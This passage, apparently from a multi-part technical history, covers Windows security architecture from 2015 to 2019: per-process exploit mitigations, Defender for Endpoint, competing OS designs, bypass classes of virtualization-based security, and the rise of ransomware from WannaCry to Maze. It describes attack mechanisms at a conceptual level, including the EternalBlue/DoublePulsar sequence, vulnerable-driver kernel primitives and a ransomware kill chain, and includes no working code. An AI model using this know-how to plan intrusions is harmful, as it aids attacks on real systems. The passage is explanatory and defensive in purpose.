Per-app process mitigation policies, exposed in 1709 (October 2017) through the Windows Defender Exploit Guard GUI and the PowerShell Set-ProcessMitigation cmdlet [@ms-exploit-protection] [@ms-set-processmitigation], unified the menagerie of legacy Enhanced Mitigation Experience Toolkit settings into a documented, group-policy-deployable per-process opt-in. The kernel-side PROCESS_MITIGATION_POLICY_INFORMATION API shipped in Windows 8; the per-app management surface arrived three years later. Each policy in the 1709 set closes a specific exploitation primitive at the per-process boundary. The ones worth knowing by mechanism:

Arbitrary Code Guard (ACG). ACG refuses to commit a page as PAGE_EXECUTE_READWRITE and refuses any VirtualProtect request that adds executable permission to a page that was previously non-executable. The kernel's MiArbitraryUserPointer and MiAllocateVirtualMemory paths fail those requests with STATUS_DYNAMIC_CODE_BLOCKED. The effect is process-level W^X: an attacker who lands a write primitive cannot turn it into a JIT-the-shellcode-then-execute primitive. The Microsoft Edge content process is the canonical example. Edge's JavaScript JIT runs out-of-process in a separate JIT-only process and ships compiled code to the renderer through a one-way shared-memory channel, so the renderer itself never needs an RWX page. The flag name is PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON [@ms-set-processmitigation].

Code Integrity Guard (CIG). CIG refuses to load any DLL whose Authenticode signature does not chain to a Microsoft trust root. The PE load path in MiLoadImage validates the signature and fails with STATUS_INVALID_IMAGE_HASH or STATUS_INVALID_SIGNATURE if the policy is violated. This closes the "drop a malicious DLL in the search path and let LoadLibrary find it" exploitation class for a content process. The flag is PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON. CIG composes with WDAC at the system level: CIG is the per-process narrow case, WDAC is the system policy.

Strict Handle Check. Strict Handle Check terminates the process on the first invalid handle reference rather than returning STATUS_INVALID_HANDLE and recovering. Closes handle-reuse and type-confusion exploitation where the attacker substitutes a handle of a different type and rides the resulting use-after-free, which is a recurring browser-sandbox bug pattern. The flag is PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_ALWAYS_ON.

Image Load mitigations. Three related policies harden the DLL loader. PreferSystem32Images makes the loader prefer \Windows\System32 before searching the application directory, defeating the classic DLL search-order hijack (a malicious version.dll planted in the app directory). NoLowMandatoryLabelImages refuses to load DLLs whose mandatory integrity label is Low, closing the "browser sandbox creates a Low-IL file, then the parent process loads it" class. NoRemoteImages refuses to load DLLs from UNC paths, defeating cross-machine DLL injection.

Disable Win32k System Calls. Any syscall whose service-table index is in the Win32k range -- the second syscall service table -- is rejected at the entry-stub level. The mitigation removes the GDI and USER attack surface from the process. The Win32k subsystem has historically been the largest source of kernel CVEs, so processes that do not need a window station -- content processes, network services -- can opt out wholesale. The flag is PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_ALWAYS_ON. Edge content processes ship with it on. Chromium's --disable-win32k-lockdown flag is the dual-use override developers reach for when something downstream breaks.

The 1709 set also keeps the conventional triad -- ASLR with bottom-up randomization, Data Execution Prevention, and a NoCFG-allowed-RWX refusal -- applied per-process.

The Edge content process is the canonical "stack of mitigations" example. It enables almost the full PMP suite simultaneously: ACG, CIG, Disable Win32k, the Image Load mitigations, Strict Handle Check, AppContainer, and an AC sandbox. That stack is what makes an Edge content-process RCE not equivalent to a SYSTEM-level Windows compromise. The attacker has compromised the renderer, but still faces a sandbox escape, then an elevation of privilege, then (depending on the target) a credential-extraction step before reaching anything Credential Guard then closes.

6.7 Defender ATP, later Defender for Endpoint

The cloud-backed endpoint detection and response backend launched as Windows Defender Advanced Threat Protection in 2016 and was renamed Microsoft Defender for Endpoint in September 2020 [@ms-mde-overview].

"Defender ATP" and "Defender for Endpoint" are the same product. The 2020 rename matters only for citation literacy: pre-2020 sources cite ATP, post-2020 sources cite MDE, and confusing the two as separate products is a common reading error.

What MDE actually sees. The sensor consumes a curated set of Event Tracing for Windows providers and file-system and registry events: Microsoft-Windows-Kernel-Process for process create and exit; Microsoft-Windows-Kernel-Image for image load; the file-system minifilter for create, write, and delete; the registry transaction log for create and write; Microsoft-Windows-Kernel-Network for network connections; the LSA and Kerberos authentication providers for authentication events; the AMSI script-content stream for post-deobfuscation script bodies; the Defender behavioral-engine fire events; and the per-process Code Integrity event stream that surfaces HVCI violations. That last stream is the SOC's anchor for HVCI-violation telemetry and is the one piece of integration no third-party EDR can replicate, because it depends on running inside the VBS substrate Microsoft also ships.

Detection latency tiering. The cloud-correlation pipeline operates in two tiers. Single-event high-confidence detections -- a known-malicious hash, an AMSI Mimikatz string match, a Cobalt Strike named-pipe pattern -- fire in seconds to low minutes. Behavioral aggregation across a process tree -- Ryuk-style staging behavior, Big Game Hunting lateral-movement patterns, Emotet-to-TrickBot-to-Ryuk chains -- fires in minutes to low hours. The two-tier architecture is the detection-philosophy distinction MDE held against its 2019 EDR competitors.

The 2019 EDR competitor field. Four credible competitors shipped comparable cloud-correlation architectures by the 2019 cutline. CrowdStrike Falcon was the cloud-native sensor with the heaviest cloud-side intelligence pipeline of the era; CrowdStrike Inc. was founded in 2011 with the cloud-native vision, and the Threat Graph correlation platform debuted with Falcon in June 2013 and has expanded continuously since. Carbon Black carried the legacy Bit9 application-allow-list lineage with a behavioral hybrid layered on top, and was acquired by VMware in October 2019. SentinelOne shipped a lighter kernel agent with on-endpoint behavioral analytics, founded in 2013. Cylance staked out the divergent philosophical position of pre-LLM-era machine-learning static analysis with no behavioral pipeline at all, and was acquired by BlackBerry in February 2019.

All four offered cloud-correlation EDR by the 2019 cutline. MDE's distinguishing feature was OS-native integration with Defender, the ETW providers, and the VBS substrate -- specifically, the per-process Code Integrity event stream the third-party agents could not see.

Together, the six VBS-anchored pillars plus Defender for Endpoint constitute what a 2019 defender meant by "the modern Windows endpoint." A reasonable summary is the head-to-head table:

Pillar	Privilege model	Closes	Known residual
Credential Guard	Cross-VTL isolation	Mimikatz LSASS-scrape family	Pre-CG TGTs, sign-in keyloggers, stolen-DC krbtgt
HVCI	Cross-VTL kernel W^X	Classical kernel code injection	BYOVD, data-only kernel attacks
WDAC	Kernel-enforced CI policy	Unsigned and unauthorized code	LOLBins, BYOVD against permissive policies
AMSI	User-mode COM hook	Post-deobfuscation script visibility	In-process hook patches
CFG	Compiler-inserted forward-edge CFI	ROP gadget chains via indirect call	Return-address corruption, non-CFG DLLs
Process Mitigation Policies	Per-app opt-in mitigations	Per-process exploit primitives	Apps that do not opt in

The Windows kernel performance impact of KVA Shadow on older silicon will preview in Section 10 -- MariaDB's MyISAM workload regressed 37 to 40 percent on Haswell-era CPUs when the Meltdown mitigations landed [@mariadb-kpti]. That is the empirical anchor for "more significant slowdowns" in Terry Myerson's January 2018 tiered guidance [@ms-myerson-meltdown].

This is the stack Microsoft shipped. In the same five years, three other OS communities -- Linux, Apple, and ChromeOS -- shipped their own answers to overlapping problems, and the formal-verification community produced a fourth. How do those four answers compare?

7. Competing Approaches: Linux KPTI, Apple T2, ChromeOS, seL4

Microsoft's VBS is one of four serious architectural answers shipped in the 2015-2019 window. The others made different bets. Reading them side by side is the fastest way to see what VBS chose and what it gave up.

7.1 Linux KPTI vs Windows KVA Shadow

Linux Kernel Page-Table Isolation (KPTI) and Microsoft's KVA Shadow are parallel responses to the same forced architectural change. Both descend from Gruss et al.'s 2017 ESORICS paper "KASLR is Dead: Long Live KASLR," which introduced KAISER -- the technique of stripping kernel mappings out of the user-mode page-table view to defeat side-channel attacks on Kernel Address Space Layout Randomization [@gruss-kaiser]. KAISER landed before Meltdown was public. When the Project Zero coordinated disclosure broke on January 3, 2018, it was the structural retrofit both kernels needed [@pz-meltdown-spectre].

Linux merged KPTI into mainline before the 4.15 release in January 2018, with backports into 4.14, 4.9, and 4.4 LTS branches gated by CONFIG_PAGE_TABLE_ISOLATION [@lwn-kpti] [@kroah-meltdown]. Microsoft shipped KVA Shadow in the January 9, 2018 cumulative update. Both implementations split the per-process page-table into a user-mode shadow and a full kernel-mode view, swap CR3 at every user-kernel transition, and lean on the Process Context Identifier feature in Skylake-and-later silicon to amortize the TLB-flush penalty. The fact that two OSes with very different histories converged on functionally identical code, within days of each other, is the lesson: the x86 page-table format dictated the answer. Neither team designed the mechanism. The hardware bug did.

7.2 Apple T2: a second processor instead of a second privilege level

Apple shipped the T2 chip in the iMac Pro on December 14, 2017, and rolled it across the Mac line through 2018 [@apple-t2]. The T2 is a separate Arm-based co-processor with its own boot ROM, AES engine, Secure Enclave, and Memory Protection Engine that encrypts the enclave's DRAM region with an ephemeral key [@apple-secure-enclave]. Where Microsoft answered the same-privilege paradox by adding a second privilege level on the same CPU, Apple answered it by adding a second physical CPU.

The tradeoff is stark. T2 has no cross-VTL Spectre v2 problem because the secret lives on a different silicon die. T2 also costs an extra SoC in every machine's bill of materials, requires a second firmware-update pipeline, and demanded hardware replacements when the checkm8 bootrom vulnerability hit the T2's A10-derived bootrom in 2020 [@ironpeak-t2].The T2's predecessor in the 2016 Touch Bar MacBook Pro, the T1, was S2-based; the T2 itself derives from the A10 Fusion CPU found in the iPhone 7, per ironpeak's October 2020 analysis. VBS runs on existing Intel and AMD silicon with no incremental hardware cost; T2 requires Apple to ship custom silicon in every box. Both architectures relocate the secret. They relocate it to different places.

7.3 ChromeOS: do not ship a Secure Kernel because you do not ship a general-purpose kernel

ChromeOS does not deploy a Secure Kernel. It deploys verified boot. The architecture is: firmware-write-protected hardware root, signed kernel partition with the dm-verity root hash baked in, and a read-only root filesystem mounted with dm-verity active so every block read is checked against a signed Merkle tree at runtime [@chromeos-verified-boot] [@dm-verity]. The user-facing surface is the Chrome browser, with per-site renderers and utility processes confined by seccomp-bpf sandboxes. There is no LSASS to scrape, no Active Directory TGT to steal, no general-purpose third-party kernel-driver supply to attack.

The architectural lesson is that VBS solves the problem of "we shipped a large general-purpose kernel and we cannot retract that decision." ChromeOS sidesteps the problem by not shipping that kernel in the first place. ChromeOS is the principled alternative for an OS whose threat model assumes a single-application workload.

7.4 seL4: the verification path VBS chose not to take

seL4 is approximately 8,700 lines of C plus 600 lines of assembly, machine-checked against an Isabelle/HOL abstract specification with roughly 200,000 lines of proof script, and verified end-to-end from spec to C to binary [@klein-sel4-sosp2009] [@klein-sel4-cacm] [@sewell-sel4-pldi]. The 2009 SOSP paper established the proof chain, the 2010 CACM Research Highlight recapped it for a wider audience, and the 2013 PLDI follow-on closed the compiler gap by translation-validating GCC output against the C source. The total effort: on the order of 20 person-years for a microkernel one-tenth the size of securekernel.exe.

Microsoft's Secure Kernel is roughly 150 kilobytes of unverified C code [@ionescu-bh2015]. A meaningful verification would require an Isabelle-level specification of the secure-call interface, refinement proofs through the C source, translation validation to the shipped binary, a formal model of Hyper-V's SLAT enforcement, and a credible story for microarchitectural side channels that seL4 in 2009 did not have to address. A plausible order-of-magnitude estimate is 100 to 200 person-years for the structural pieces alone. No shipping general-purpose OS -- macOS, iOS, ChromeOS, or Windows -- has chosen that path. seL4 itself runs in specialized embedded and defense deployments, not on desktops.

Approach	Trust root	Verification	Strengths	Open residuals	Deployment scale
Windows VBS (2015)	Hyper-V hypervisor + UEFI Secure Boot	None (unverified C)	Ships on existing silicon at Windows scale	BYOVD, secure-call bugs, cross-VTL side channels	Hundreds of millions of endpoints
Linux KPTI (2018)	Page-table split per process	None	Forced retrofit; correct in mainline within weeks	Spectre family beyond v3	Server-side and developer workstation majority
Apple T2 (2017)	Second physical processor	None (different threat model)	No cross-VTL side-channel surface	Firmware bugs require hardware fix	All Intel Macs 2018-2022
seL4 (2009)	Microkernel + Isabelle/HOL proof chain	Functional correctness, integrity, non-interference	Formally guaranteed against named bug classes	Outside-TCB hardware and side channels	Specialized embedded / defense

Each of these four answers makes a different tradeoff against the same problem. Windows chose "second privilege level, large attack surface, ship-at-scale." What does that tradeoff leave on the table -- where are VBS's irreducible residuals?

8. What VBS Cannot Defend Against

Every architecturally honest defense names its bypass classes before its critics do. VBS, at the 2019 cutline, has six enumerable bypasses plus one structural caveat about availability. None of them undermines the architectural claim that the LSASS-scrape attack class is closed. All of them shape the operator's deployment decisions.

An attack class in which an adversary loads a legitimately Microsoft-co-signed third-party kernel driver that contains an exploitable bug. The driver passes Driver Signing Enforcement and HVCI's code-integrity check because it is signed; the bug gives the attacker arbitrary kernel-mode primitives (read, write, execute) without requiring a Microsoft-issued signature. BYOVD is the dominant in-the-wild HVCI and Credential Guard bypass class through the 2019 cutline.

Bypass class one -- BYOVD. A vulnerable signed driver provides the same kernel-mode primitives PatchGuard-era rootkits relied on. With kernel-mode arbitrary write, an attacker can disable HVCI on a per-process basis, clear the PPL bits on a target, or hook secure-call dispatch sites. Microsoft formally acknowledged BYOVD as a class with the October 2022 Vulnerable Driver Blocklist update KB5020779 [@ms-vuln-driver-kb], operationalized through the same microsoft-recommended-driver-block-rules document used by Windows Defender Application Control [@ms-vuln-driver-blockrules]. That arrived three years after the cutline of this article, which is part of the lesson: the dominant residual at 2019 was not closed by Windows 10 itself.

Bypass class two -- hypervisor and secure-kernel vulnerabilities. The Secure Kernel is not infallible code. Saar Amar and Daniel King's Black Hat USA 2020 talk "Breaking VSM by Attacking SecureKernel" disclosed CVE-2020-0917 and CVE-2020-0918 in the secure-call interface handlers SkmmUnmapMdl and SkmiReleaseUnknownPTEs [@amar-king-bh2020]. The Amar-King work landed after this article's window, but the bypass-class anchor it establishes -- VTL0 to VTL1 escape via the secure-call interface -- was already known to insiders by 2019. The steady-state finding rate for that class is on the order of one to three critical bugs per year.

Bypass class three -- hardware and DMA attacks. A peripheral device attached over Thunderbolt or PCIe can, in the absence of an Input-Output Memory Management Unit enforcement, read and write physical memory directly. The 2019 NDSS paper "Thunderclap" demonstrated DMA reads of VTL0 and VTL1 memory on machines without Kernel DMA Protection enabled [@markettos-thunderclap]. The Windows mitigation is IOMMU enforcement plus Kernel DMA Protection, both of which require firmware support that mixed-vintage hardware does not always have.

Bypass class four -- microarchitectural side channels. Spectre variant 2 -- branch target injection -- is the only Spectre-family variant whose threat model overlaps the VBS boundary, because mispredicting an indirect call inside a secure-call handler can leak data across the VTL boundary. The mitigation is enabling Indirect Branch Restricted Speculation around the secure-call entry. Section 10 walks the larger story; here it is enough to note that microarchitectural side channels are an open surface against VBS that grows with each new variant.

Bypass class five -- trustlet-signing-root compromise. Every trustlet is identified by two Authenticode EKUs that Microsoft signs at Signature Level 12 [@ionescu-bh2015]. If an attacker controls either the signing key or the issuing infrastructure that hands out the IUM EKU, they can ship a malicious binary that the Secure Kernel admits as a legitimate trustlet -- with the same VTL1 access as LSAISO.

This class was theoretical at the 2019 cutline. Microsoft's July 2023 Storm-0558 disclosure put it on the forward roadmap: an Azure consumer-MSA signing key was used to forge enterprise tokens [@ms-storm-0558], and the September 2023 root-cause investigation traced the original key acquisition to a crash dump that crossed from production into a corporate debugging environment that the actor had already compromised [@msrc-storm-0558-keyacq]. The Storm-0558 incident was a token-signing-key compromise rather than a trustlet-signing-key compromise, but the architectural lesson is identical. A signing root is a single point of trust whose compromise admits arbitrary binaries to the protected privilege level.

Bypass class six -- the VTL0 agent surface. Most VBS features ship a VTL0 process that brokers requests to a VTL1 trustlet. LSA in VTL0 brokers credential operations to LSAISO. The System Guard runtime attestation agent and the Windows Defender Application Guard broker likewise mediate between user-mode applications and their VTL1 counterparts.

Bugs in those agents are still VTL0 bugs. An agent that mishandles user-controlled input before the secure-call dispatch -- a parsing error, a use-after-free, a type confusion -- can leak partial information or trigger unintended VTL1 operations even when the Secure Kernel's API is sound. The failure surface is in VTL0; the consequences can reach into VTL1 by routing through the agent. This is the everyday-engineering residual that shows up in routine MSRC advisories rather than in conference papers.

Caveat -- availability is not a VBS invariant. The Hyper-V Top-Level Functional Specification is explicit on this point [@ms-tlfs-vsm]. VTL0 can deny service to VTL1 by refusing to schedule the Secure Kernel, by refusing to provide pages for paging, or by refusing to dispatch secure-calls. Confidentiality and integrity are protected. Availability is not. A compromised NT kernel can stop a trustlet from running. The VBS designers made that tradeoff deliberately, because guaranteeing availability would require the Secure Kernel to manage its own scheduler and paging, which would balloon its trusted code base out of audit range.

VTL0 can DOS VTL1 by design. -- Microsoft Hyper-V Top-Level Functional Specification, Virtual Secure Mode

Bypass class	Attack family	Residual mitigation at 2019
BYOVD	Vulnerable signed driver as kernel-mode primitive	Microsoft-recommended block rules (manual at 2019; default-on with KB5020779 in Oct 2022)
Hypervisor / Secure Kernel bugs	Secure-call interface vulnerabilities	Patch velocity; reduce secure-call surface; formal verification research
Hardware / DMA	Pre-IOMMU PCIe / Thunderbolt DMA reads	Kernel DMA Protection + IOMMU enforcement (firmware-dependent)
Microarchitectural side channels	Spectre v2 cross-VTL leakage	IBRS on secure-call entry; per-variant microcode mitigations
Trustlet-signing-root compromise	Forged or stolen IUM EKU signing key	Signing-infrastructure hardening; no operator-side control at 2019
VTL0 agent surface	Bugs in LSA, System Guard agent, WDAG broker	Conventional MSRC patching; harden agent input validation

Note: Five observations on the residual map. BYOVD is the dominant in-the-wild residual at the 2019 cutline -- it is what attackers actually used to bypass HVCI and Credential Guard, and the canonical Microsoft mitigation came three years late. The secure-call interface is the quietest residual: most readers had never heard of it before Amar-King in 2020. Microarchitectural side channels are the interaction class that links the bypass map in Section 8 to the third axis in Section 10. Trustlet-signing-root compromise is the forward class -- theoretical at 2019, made concrete by Storm-0558 in 2023. VTL0 agent bugs are the everyday-engineering class that shows up in routine MSRC advisories. Knowing which residual matters for which threat model is half of operational VBS deployment.

Key idea: Every architecturally honest defense names its bypass classes before its critics do. VBS has six: BYOVD, hypervisor secure-call bugs, hardware DMA, microarchitectural side channels, trustlet-signing-root compromise, and the VTL0 agent surface. The architectural gap is small. The deployment gap, as the next section will show, is much larger.

These are the architectural residuals. The operational residuals turned out to be bigger by orders of magnitude. The path from a kernel-isolated 2017 Enterprise laptop to a paralyzed hospital starts with a missed patch.

9. The Offensive Story: Ransomware Industrialization (2017-2019)

Between May 12, 2017 and November 21, 2019, the criminal Windows-attack industry went through five generations of business-model evolution in thirty months. Worm-spray ransomware. State-actor wiper. Targeted enterprise extortion. Ransomware-as-a-Service. Encryption plus exfiltration -- the double-extortion playbook. None of the five required novel exploitation against VBS-class defenses. They required only that VBS-class defenses not be deployed.

The 2017-2019 arc has a predecessor that explains the rest. In September 2013, Symantec Security Response reported a new family of Windows ransomware called CryptoLocker, distributed by Evgeniy Bogachev's peer-to-peer Gameover Zeus botnet, encrypting victim files with per-victim 2048-bit RSA keys and demanding payment in Bitcoin or MoneyPak. Ransom demands ran in the low three figures to low four figures: enough to be commercially viable against consumers, capped by what consumers could pay.

On June 2, 2014, a joint operation -- the FBI, Europol, the UK National Crime Agency, Dutch and German law-enforcement, plus Symantec, Dell SecureWorks, CrowdStrike, F-Secure, Microsoft, Trend Micro, and McAfee -- executed Operation Tovar [@doj-operation-tovar] [@europol-operation-tovar] [@fbi-goz]. The operation seized the Gameover Zeus command-and-control and sinkholed the peer-to-peer overlay; FireEye and Fox-IT used the recovered keypair database to stand up a free decryption portal for CryptoLocker victims.

Operation Tovar disrupted the vector. It did not disrupt the business model. Within months, CryptoWall surpassed CryptoLocker in infection volume under different operators [@secureworks-cryptowall]. The lesson the next five years would teach is that takedown alone does not solve the ransomware problem: the underlying economics -- encryption plus extortion against a Bitcoin-receivable -- are the asset, and the operators are commodity. From CryptoLocker forward, the criminal arc forks into the worm-spray fork (WannaCry, NotPetya, Bad Rabbit) and the targeted-enterprise fork (SamSam, Ryuk, REvil, Maze) that converge at Maze double extortion in November 2019.

9.1 WannaCry (May 12, 2017)

The patch-gap timeline is the spine of the WannaCry story. Microsoft published Security Bulletin MS17-010 on March 14, 2017, patching CVE-2017-0143 through CVE-2017-0148 in the SMBv1 server [@ms-ms17-010] [@nvd-cve-2017-0144]. Thirty-one days later, on April 14, 2017, the Shadow Brokers leaked the NSA Equation Group's "Lost in Translation" toolkit, which included the EternalBlue exploit weaponizing CVE-2017-0144 over SMBv1 and DoublePulsar, a kernel-mode SMB backdoor [@wiki-eternalblue]. Twenty-eight days after that, on May 12, 2017, WannaCry began propagating. Total patch-to-outbreak window: fifty-nine days.

The exploit, mechanically, is two pieces. EternalBlue exploits a race condition in the SMBv1 Transaction2 subcommand processing in srv.sys, achieving controlled kernel-pool corruption that lets the attacker write a controlled SrvNet buffer into a controlled location -- enough to land kernel-mode code execution. DoublePulsar plants a kernel-mode backdoor that listens for follow-on shellcode over SMB. Sean Dillon's RiskSense paper EternalBlue: Exploit Analysis and Port to Microsoft Windows 10 (2018) is the canonical reverse-engineering account [@dillon-risksense-eternalblue].

sequenceDiagram participant Atk as Attacker participant Srv as srv.sys (SMBv1) participant Krn as Kernel pool participant DP as DoublePulsar Atk->>Srv: SMBv1 Trans2 request with crafted parameters Srv->>Krn: pool allocation hits race condition Atk->>Srv: groom SrvNet buffer Srv->>Krn: controlled overwrite, ring 0 execution Krn->>DP: install kernel-mode backdoor Atk->>DP: deliver ransomware payload over SMB DP-->>Atk: payload running as SYSTEM

The propagation halted at 15:03 UTC on May 12, 2017 when Marcus Hutchins, a then-22-year-old British researcher writing as MalwareTech, registered an unregistered domain hard-coded into the WannaCry binary as a kill-switch test. Hutchins thought he was sinkholing for telemetry. He had accidentally stopped the worm [@malwaretech-killswitch].The kill-switch domain registration is well-attested at 15:03 UTC; the moment global propagation visibly slowed lagged the registration by minutes to hours as the sinkhole DNS record propagated through caching resolvers worldwide.

Damage at the National Health Service was severe but not maximal: the National Audit Office's October 2017 investigation reports that the attack disrupted at least 34 percent of trusts in England, NHS England identified 6,912 cancelled appointments, and the estimate of total cancelled appointments was over 19,000 [@nao-wannacry]. The NAO is clear that no NHS organization paid the ransom. The British government and NHS England later attributed the WannaCry outbreak to North Korea, formally on December 19, 2017, in a White House press briefing that coordinated attribution with the United Kingdom, Australia, Canada, New Zealand, and Japan [@wh-wannacry].

CISA, then US-CERT, had issued an alert during the May 12 outbreak window [@cisa-may-2017-ransomware]. Global damage estimates ran to around four billion US dollars across cancelled production, recovery costs, and downtime at Renault-Nissan plants, FedEx, Telefonica, Deutsche Bahn, and the NHS.

The architectural lesson of WannaCry is not that VBS failed. VBS was not running on the affected NHS workstations, which were largely unpatched Windows 7 boxes. The architectural lesson of WannaCry is that patch velocity remained the dominant defense in 2017, and that the deployment-gap problem was, and remains, the larger lever than the architectural-gap problem.

9.2 NotPetya (June 27, 2017)

Six weeks later, on June 27, 2017, the world saw what an actually-state-actor-grade Windows campaign looks like. The vector was a supply-chain compromise of M.E.Doc, the Ukrainian tax-and-accounting software whose update channel pushed the malicious binary to thousands of M.E.Doc-running endpoints [@talos-medoc]. ESET's TeleBots write-up confirmed the operator: the BlackEnergy-lineage Sandworm group [@eset-telebots].

The payload self-propagated using EternalBlue plus EternalRomance plus credential reuse via a bundled Mimikatz-style routine, then encrypted Master File Tables and boot sectors. Kaspersky's analysis -- "Schroedinger's Pet(ya)" -- is the canonical evidence that the malware was a wiper masquerading as ransomware: "After an analysis of the encryption routine of the malware used in the Petya/ExPetr attacks, we have thought that the threat actor cannot decrypt victims' disk, even if a payment was made" [@kaspersky-petya]. The Salsa20 key derivation made decryption impossible by design.

The Maersk story, told most memorably in Andy Greenberg's WIRED feature and at book length in his 2019 Doubleday volume Sandworm: A New Era of Cyberwar and the Hunt for the Kremlin's Most Dangerous Hackers, is the iconic case [@wired-notpetya] [@greenberg-sandworm-book]. Maersk's IT department recovered from a single, accidentally-offline domain controller in Ghana [@wired-notpetya] [@greenberg-sandworm-book].

The aggregate damage estimate from the February 15, 2018 White House attribution statement is "billions of dollars in damage" with the headline language: "In June 2017, the Russian military launched the most destructive and costly cyber-attack in history" [@wh-notpetya]. The UK's National Cyber Security Centre issued parallel attribution to the Russian military [@ncsc-russia-notpetya]. The US Department of Justice indicted six GRU Unit 74455 officers on October 19, 2020 -- Andrienko, Detistov, Frolov, Kovalev, Ochichenko, Pliskin -- for NotPetya, Olympic Destroyer, and related campaigns [@doj-gru-notpetya].

In June 2017, the Russian military launched the most destructive and costly cyber-attack in history. -- White House Press Secretary statement, February 15, 2018 The October 19, 2020 indictment in the Western District of Pennsylvania names the six GRU officers and ties them to NotPetya, Olympic Destroyer, the OPCW intrusion, the 2015 and 2016 Ukrainian power grid attacks, and the 2017 French election hack-and-leak [@doj-gru-notpetya]. The indictment lands three years after this article's primary window closes, but the canonical US attribution record for NotPetya lives in that document.

The architectural lesson of NotPetya is not patch velocity. NotPetya owned its initial victims through a trusted update channel; patch cadence does not help against an installer signed by your software vendor. The lesson is that build-pipeline integrity is the next frontier, and SolarWinds in December 2020 -- the Part 5 chapter of this series -- will make that lesson industry-canonical.

9.3 Bad Rabbit (October 24, 2017)

Bad Rabbit was a four-month-later, smaller-scale cousin. Distribution was via drive-by infection from compromised Russian and Ukrainian media sites, with a payload masquerading as an Adobe Flash Player installer. Lateral movement used EternalRomance, not EternalBlue, and Kaspersky's analysis confirms code overlap with NotPetya [@kaspersky-bad-rabbit]. The blast radius was Slavic-language-region targeted. One paragraph of treatment matches the historical importance: enough to triangulate Sandworm, not enough to change the architectural story.

9.4 The Big Game Hunting Transition (2018-2019)

By the second half of 2018, ransomware crews had decided that mass spray was leaving money on the table. The pattern crystallized into what CrowdStrike named, in late 2018 and early 2019, big game hunting [@crowdstrike-ryuk].

A targeted ransomware business model in which a human operator gains access to a victim network, performs hands-on-keyboard reconnaissance, escalates to Domain Admin, locates backup infrastructure, and deploys ransomware enterprise-wide in a single coordinated event. Ransom demands scale to victim revenue. CrowdStrike's January 2019 write-up of WIZARD SPIDER's Ryuk operations is the standard reference for the term [@crowdstrike-ryuk].

The proto-Big-Game-Hunting predecessor is SamSam, operated from December 2015 through November 2018 by the Iranian operators Faramarz Shahi Savandi and Mohammad Mehdi Shah Mansouri. SamSam combined Internet-facing RDP brute force and JBoss exploitation with manual lateral movement and ransomware-of-the-domain-controller, caused more than $30 million in aggregate damages, and collected more than $6 million in ransom payments, per the November 28, 2018 DOJ indictment of Savandi and Mansouri [@doj-samsam]. The thirty-million figure is the DOJ's damages / losses characterization, not the demanded ransom amount: per-victim SamSam demands ran in the five- to fifty-thousand-dollar range, and the aggregate damages include downtime, recovery, and unrecovered ransom rather than the operators' headline ask. SamSam was the phase from 2016 forward; CrowdStrike named the phase in 2018.

The named-and-canonical Big Game Hunting lineage runs through three families.

Ryuk first appeared in August 2018, operated by CrowdStrike's WIZARD SPIDER (the TrickBot crew). Check Point's first-wave analysis identified the code overlap with the earlier HERMES ransomware, originally attributed to the Lazarus Group, though Check Point notes the toolchain overlap rather than asserting shared operations [@checkpoint-ryuk]. The killchain Cybereason later detailed was the Emotet -> TrickBot -> Ryuk trifecta: a phishing-delivered Emotet loader, TrickBot for credential theft and lateral movement, hands-on-keyboard reconnaissance, and Ryuk for the encryption payload.

REvil -- also called Sodinokibi -- emerged in April 2019. The Talos analysis published April 30, 2019 attributed first observed in-the-wild exploitation of CVE-2019-2725 to a Sodinokibi-deploying campaign active since at least April 17, 2019 [@talos-sodinokibi]; April 30 is the publication date of the Talos write-up, not the first-observed exploitation date. Secureworks attributed the operation to the GOLD SOUTHFIELD group and noted Sodinokibi was "likely associated with the GandCrab ransomware due to similar code and the emergence of REvil as GandCrab activity declined" [@secureworks-revil].

Maze entered the field in May 2019 [@malwarebytes-maze-2020].

flowchart LR A[Spear-phish
Emotet loader] B[TrickBot
credential theft] C[Hands-on-keyboard
lateral movement] D[Domain Admin] E[Backup-network
reconnaissance] F[Mass deployment
SCCM, GPO, PsExec] G[Exfiltration] H[Encryption] I[Leak-site pressure] A --> B --> C --> D --> E --> F --> H E --> G --> I H --> I

9.5 Maze and Double Extortion (November 21, 2019)

The fifth-generation business model arrived in late 2019. Maze's operators attacked the security-staffing firm Allied Universal in November 2019. When Allied Universal refused to pay, Maze threatened to release the stolen files publicly. In December 2019, Maze published a leak site listing victims who had not paid, with sample data to prove possession. Brian Krebs broke the story on December 16, 2019: "Less than 48 hours ago, the cybercriminals behind the Maze Ransomware strain erected a Web site on the public Internet... that changed at the end of last month, when the crooks behind Maze Ransomware threatened Allied Universal that if they did not pay the ransom, they would release their files" [@krebs-maze].

A ransomware business model in which the operator exfiltrates victim data before encrypting it, then threatens public disclosure of the data as a separate pressure axis if the ransom is not paid. Maze, beginning with the November 2019 Allied Universal case and the December 2019 dedicated leak site, is the canonical first systematic deployment [@krebs-maze]. Snatch had threatened similar disclosure earlier in October 2019, but did not operate dedicated leak-site infrastructure [@sophos-snatch].

The economic logic is simple. The ransomware-only business model assumed the victim's only pressure point was the encrypted data -- which meant good backups defeated the extortion. Double extortion adds a second pressure axis (public disclosure) that backups do not address. The pattern propagated industry-wide in 2020; exfil-then-encrypt is now the standard ransomware business model.

9.6 The synthesis: a paradox of layers

Now the synthesis. The Enterprise laptop with Credential Guard enabled, in Scene A of Section 1, sat above the VBS architecture. The unpatched SMBv1 Windows 7 box on the NHS network, in Scene B, sat below it -- on a vintage of Windows that predated Credential Guard entirely and on a network nobody had segmented around the wormable SMBv1 protocol. Both ran "Windows" in the same five-year window. The difference between them was not architectural rigor. The difference was operational rigor: patches applied, segmentation configured, SMBv1 disabled, supported SKUs deployed, VBS enabled.

VBS is a structural defense for the credential store on a properly-configured Enterprise endpoint. Patching is an operational defense for the network-edge attack surface. They protect orthogonal layers of the stack. A correct defense at one layer is consistent with a catastrophic miss at the other.

Key idea: The paradox of simultaneity: Microsoft's largest structural defensive break in twenty years and the criminal and state-actor world's largest operational expansion in twenty years happened in the same five-year window because they live at different layers of the defense stack.

There is one more axis, and it is orthogonal to both VBS and patch velocity. The CPU itself was the attacker's primitive.

10. The Third Axis: Meltdown, Spectre, KVA Shadow, Retpoline (2018-2019)

